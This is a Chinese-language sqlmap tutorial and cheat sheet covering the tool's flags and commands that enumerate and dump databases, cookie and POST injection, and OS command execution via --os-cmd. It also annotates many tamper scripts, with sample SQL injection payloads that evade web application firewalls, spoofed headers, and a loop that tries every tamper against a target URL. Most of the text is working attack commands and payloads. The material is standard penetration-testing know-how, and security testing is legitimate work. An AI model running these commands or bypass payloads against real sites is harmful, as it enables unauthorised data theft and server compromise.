0x00 安装
git clone https://github.com/sqlmapproject/sqlmap.git
0x01 基本用法
常用参数
1 | -dbs //列举数据库 |
进阶
1 | 获取目标方式 |
risk 指数
--risk 1(2,3,4)
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
level 指数
--level 1(2,3,4,5)
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
-v 日志指数
-v
显示sqlmap对一个点是进行了怎样的尝试判断以及读取数据的
共有七个等级,默认为1:
只显示python错误以及严重的信息。
同时显示基本信息和警告信息。(默认)
同时显示debug信息。
同时显示注入的payload。
同时显示HTTP请求。
同时显示HTTP响应头。
同时显示HTTP响应页面。
0x02 例子
基本
1
2
3
4
5python sqlmap.py -u "http://www.xxx.com" //查是否有注入,一些基本信息
python sqlmap.py -u "http://www.xxx.com" --dbs //枚举数据库
python sqlmap.py -u "http://www.xxx.com" --tables -D 数据库名 //表名枚举
python sqlmap.py -u "http://www.xxx.com" --columns -D 数据库名 -T 数据库表名 //字段枚举
python sqlmap.py -u "http://www.xxx.com" --dump -D 数据库名 -T 表名 -C "字段名1,字段名2,字段名3" //dump
cookie注入
cookie注入常见有两种,一种是cookie中的值拼接成sql语句产生注入
另一种asp的cookie中转注入,原因是程序对提交数据获取方式是直接request(“c.s.t”)的方式.未指明使用request对象的具体方法进行获取。可以都接收get,post,cookie方式提交的数据,一般程序只是过滤了get和post注入,如果没有过滤cookie注入语句,我们就可以进行注入了。
这里对第二种进行简单判断是否存在cookie注入的可能,
- 首先要访问正常的页面,即是:http://www.xxx.com /test.asp?id=1,等页面打开之后,我们将IE地址栏清空,然后写 上:
javascript:alert(document.cookie="id="+escape("1"));
这里的“id=”便是“test.asp?id=1”中的“id=”,“escape(“1”)”中的“1”是 “test.asp?id=1”中的“id=1”了,这两处要根据实际情`况来定义。之后按下回车网页中会弹出一个对话框。 - 更改好了cookie后,我们就要试下能不能正常访问了,在另外一个窗口中我们打开以下地址:http://www.xxx.com /test.asp? 既是将“id=1”去掉后的,然后看是否能正常访问。
如果可以正常显示,那么就是以request(“c.s.t”)方式获取数据的,一般只是过滤了get和post注入,如果没有过滤cookie注入语句,我们就可以进行注入了。 - 通过修改escape中的参数来判断是否存在注入,接下来和普通注入判断方式一样
1 | python sqlmap.py -u "http://www.xxx.com" --level 2 枚举强度 |
表单post
三种方式
表单枚举
python sqlmap.py -u "http://www.xxx.com" --forms
指定post参数
python sqlmap.py -u "http://www.xxx.com" --data "username=1&passwd=1"
抓包构造
python sqlmap.py -r test.txt
伪静态注入
简单判断伪静态
浏览器F12开发者工具控制台alert(document.lastModified)
会弹出网页最后更新时间,多次刷新页面,通过时间判断出是否为静态页面
python sqlmap.py -u "http://www.xxx.com/index.php/Index/id/1*.html"
交互式shell
1 | python sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig" |
0x03 Tamper使用
python sqlmap.py -u "http://www.xxx.com" -v 3 --dbs --batch --tamper "space2hash.py"
常见waf绕过脚本encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py
tamper WAF 绕过脚本列表注释
- apostrophemask.py 用UTF-8全角字符替换单引号字符
- apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
- appendnullbyte.py 在payload末尾添加空字符编码
- base64encode.py 对给定的payload全部字符使用Base64编码
- between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
- bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
- chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
- charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
- charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
- concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
- equaltolike.py 用“LIKE”运算符替换全部等于号“=”
- greatest.py 用“GREATEST”函数替换大于号“>”
- halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
- ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
- lowercase.py 用小写值替换每个关键字字符
- modsecurityversioned.py 用注释包围完整的查询
- modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
- multiplespaces.py 在SQL关键字周围添加多个空格
- nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
- overlongutf8.py 转换给定的payload当中的所有字符
- percentage.py 在每个字符之前添加一个百分号
- randomcase.py 随机转换每个关键字字符的大小写
- randomcomments.py 向SQL关键字中插入随机注释
- securesphere.py 添加经过特殊构造的字符串
- sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
- space2comment.py 用“/**/”替换空格符
- space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
- space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
- space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
- space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
- space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
- space2plus.py 用加号“+”替换空格符
- space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
- unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
- varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
- versionedkeywords.py 用MySQL注释包围每个非函数关键字
- versionedmorekeywords.py 用MySQL注释包围每个关键字
- xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
总结
PS:工具既然叫做工具,就是用来辅助上单的,呸辅助我们完成某些任务的,仅仅适用于当进行某些重复的繁琐工作或是偶尔懒癌发作时,不能过度依赖
ALL 表示所有数据库都适用,具体指出哪种数据库就表名只只适用于某些数据。
使用方法:
sqlmap.py XXXXX -tamper "模块名"
各个 tamper 的作用
下面针对 sqlmap 自带的 tamper 做一下简单的解释。
apostrophemask.py:
return payload.replace('\'', "%EF%BC%87") if payload else payload
将单引号 url 编码,用于过滤了单引号的情况。
1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871
适用数据库:ALL
apostrophenullencode.py:
return payload.replace('\'', "%00%27") if payload else payload
将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况
1' AND '1'='1 to 1�' AND �'1�'=�'1
适用数据库:ALL
appendnullbyte.py:
return "%s%%00" % payload if payload else payload
在你构造的payload后面加一个空字符
1' AND '1'='1to1' AND '1'='1[]
适用数据库:Access
base64encode.py:
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload
这个看模块名也知道是 base64 编码
1' AND '1'='1 toMScgQU5EICcxJz0nMQ==
适用数据库:ALL
between.py:
这个代码有点长,就不贴代码了,可以自己去查看:C:\Python\SQLMap\tamper\between.py
将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况
1 AND A > Bto1 AND A NOT BETWEEN 0 AND B
1 AND A = Bto1 AND A BETWEEN B AND B
适用数据库:ALL
bluecoat.py:
用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况
union select * from users where id = 1tounion%09select * from%09users where id like 1
适用数据库:MySQL 5.1, SGOS
chardoubleencode.py:
用 url 编码两次你的 payload
select * from usersto%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572
适用数据库:ALL
charencode.py:
用 url 编码一次你的 payload
select * from usersto%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72
适用数据库:ALL
charunicodeencode.py:
用 unicode 编码 payload ,只编码非编码字符
select * from usersto\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073
适用数据库:ALL,但是需要 asp 和 asp.net 环境
commalesslimit.py:
将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况
limit 2,1tolimit 1 offset 2
适用数据库:MySQL
commalessmid.py:
将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况
mid(version(), 1, 1)tomid(version() from 1 for 1)
适用数据库:MySQL
commentbeforeparentheses.py:
retVal = re.sub(r"\b(\w+)(", "\g<1>/**/(", retVal)
在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况
union select group_concat(table_name)tounion select group_concat/**/(table_name)
适用数据库:ALL
concat2concatws.py:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
用于过滤了 concat 函数的情况
concat(1,2)toconcat_ws(mid(char(0), 0, 0), 1, 2)
适用数据库:MySQL
equaltolike.py:
retVal = re.sub(r"\s=\s", " LIKE ", retVal)
将等号用 like 代替,用于过滤了等号的情况
select * from users where id=1toselect * from users where id like 1
适用数据库:ALL
escapequotes.py:
return payload.replace("'", "\'").replace('"', '\"')
将单引号转换成 \‘ ,双引号转换成 \“ ,用于过滤了单引号或双引号的情况
1' and 1=1--+to1\\' and 1=1--+
适用数据库:ALL
greatest.py:
用 greatest 代替大于符号,用于大于符号被过滤了的情况
1 and a>bto1 and greatest(a,b+1)=a
ALL
halfversionedmorekeywords.py:
在关键字前添加注释,用于过滤了关键字的情况
union select 1,2to/*!0union/*!0select 1,2
适用数据库:MySQL < 5.1
htmlencode.py:
return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload
从名字就知道是将 payload 进行 html 编码
1' and 1=1--+to1' and 1=1--+
适用数据库:ALL
ifnull2ifisnull.py:
将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况
ifnull(1, 2)toif(isnull(1), 2, 1)
适用数据库:MySql
informationschemacomment.py:
retVal = re.sub(r"(?i)(information_schema).", "\g<1>/**/.", payload)
在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况
select table_name from information_schema.tablestoselect table_name from information_schema/**/.tables
适用数据库:ALL
lowercase.py:
将 payload 里的大写转为小写
UNION SELECTtounion select
适用数据库:ALL
modsecurityversioned.py:
用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
1 and 2>1--+to1 /*!30874and 2>1*/--+
适用数据库:MySQL
modsecurityzeroversioned.py:
用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
1 and 2>1--+to1 /*!00000and 2>1*/--+
适用数据库:MySQL
multiplespaces.py:
在关键字周围添加多个空格
union select 1,2--+tounion select 1,2--+
适用数据库:ALL
nonrecursivereplacement.py:
关键字双写,可用于关键字过滤
union select 1,2--+touniounionn selecselectt 1,2--+
适用数据库:ALL
overlongutf8.py:
这个不是很懂,也去网上搜了下,都说是”转换给定的 payload 当中的所有字符“,类似空格大于小于这种
select field from table where 2>1toselect%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1
适用数据库:ALL
percentage.py:
用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号
select * from usersto%s%e%l%e%c%t * %f%r%o%m %u%s%e%r%s
适用数据库:ALL, 但是需要 ASP 环境
plus2concat.py:
用 concat 函数来替代加号,用于加号被过滤的情况
select char(13)+char(114)+char(115) from usertoselect concat(char(113),char(114),char(115)) from user
适用数据库:SQL Server 2012+
plus2fnconcat.py:
用 fn concat 来替代加号,和上面类似
select char(13)+char(114)+char(115) from usertoselect {fn concat({ fn concat(char(113),char(114))},char(115))} from user
适用数据库:Microsoft SQL Server 2008+
randomcase.py:
将 payload 随机大小写,可用于大小写绕过的情况
union select 1,2--+toUniOn SElect 1,2--+
适用数据库:ALL
randomcomments.py:
在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤
union select 1,2--+toun/**/ion sele/**/ct 1,2--+
适用数据库:ALL
securesphere.py:
return payload + " and '0having'='0having'" if payload else payload
在 payload 后面加入字符串,可以自定义
1' and 1=1to1' and 1=1 '0having'='0having'
适用数据库:ALL
sp_password.py:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
在 payload 语句后添加 ssp_password ,用于迷惑数据库日志
1’ and 1=1--+to1 and 1=1-- sp_password
适用数据库:MSSQL
space2comment.py:
用 /**/ 替代空格,用于空格的绕过
union select 1,2--+tounion/**/select/**/1,2--+
适用数据库:ALL
space2dash.py:
用注释符–和一个随机字符串加一个换行符替换控制符
?union select 1,2–+tounion–HSHjsJh%0Aselect–HhjHSJ%0A1,2–+
适用数据库:MSSQL、 SQLite
space2hash.py:
和上面类似,不过这儿是用#注释符
union select 1,2--+tounion%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+
适用数据库:MySQL
space2morecomment.py:
将空格用 /_/ 替代
union select 1,2--+tounion/**_**/select/**_**/1,2--+
适用数据库:ALL
space2morehash.py:
和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:
space2hash.py:union select 1,2--+tounion %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+
space2morehash.py:union select 1,2--+tounion %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+
适用数据库:MySQL >= 5.1.13
space2mssqlblank.py:
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
用这些随机空白符替换 payload 中的空格
union select 1,2--+tounion%01select%021,2--+
适用数据库:SQL Server
space2mssqlhash.py:
用 # 加一个换行符替换 payload 中的空格
union select 1,2--+ tounion%23%0Aselect%23%0A1,2--+
适用数据库:MSSQL、MySQL
space2mysqlblank.py:
blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
用这些随机空白符替换payload中的空格
union select 1,2--+tounion%09select%0D1,2--+
适用数据库:MySQL
space2mysqldash.py:
用 – 加一个换行符替换空格
union select 1,2--+tounion--%0Aselect--%0A1,2--+
适用数据库:MySQL、MSSQL
space2plus.py:
用 + 替换空格
union select 1,2--+tounion+select+1,2--+
适用数据库:ALL
space2randomblank.py:
blanks = ("%09", "%0A", "%0C", "%0D")
用这些随机空白符替换 payload 中的空格
union select 1,2--+tounion%09select%0C1,2--+
适用数据库:ALL
symboliclogical.py:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
1 and 1=1to1 %26%26 1=1
1 or 1=1to1 %7c%7c 1=1
适用数据库:ALL
unionalltounion.py:
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload
用 union select 替换union all select
union all select 1,2--+tounion select 1,2--+
适用数据库:ALL
unmagicquotes.py:
用宽字符绕过 GPC addslashes
1‘ and 1=1to1%df%27 and 1=1--
适用数据库:ALL
uppercase.py:
将 payload 大写
union selecttoUNION SELECT
适用数据库:ALL
varnish.py:
headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
添加一个 HTTP 头 “ X-originating-IP ” 来绕过 WAF
还可以自定义:
X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A
适用数据库:ALL
versionedkeywords.py
对不是函数的关键字进行注释
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
to
1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
适用数据库:MySQL
versionedmorekeywords.py:
注释每个关键字
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
to
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
适用数据库:MySQL >= 5.1.13
xforwardedfor.py:
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
添加一个伪造的 HTTP 头 “ X-Forwarded-For ” 来绕过 WAF
适用数据库:ALL
自动尝试每个tamper脚本
1 | for t in `ls /usr/share/sqlmap/tamper/*.py`; do echo -e "\e[41;1m tamper: $t\e[0m"; sqlmap -u "http://target.com/sql.asp?id=xx*" --dbs --random-agent --smart --batch --tamper $t --threads 10;done; |
说明下 :
–random-agent 参数随机 random-agent (可绕过一些检测) 当然此时也可以不要该参数
–smart 智能的方式
–batch 默认选择
echo -e “\e[41;1m tamper: $t\e[0m”; 是为了 显眼的方式 显示 当前使用的 tamper 红底白字 加粗… 以方便找到合适tamper 然后停止。
参考资料
Cookie SQL注入
sqlmapproject/sqlmap
sql_injection knowledge base
sql注入wiki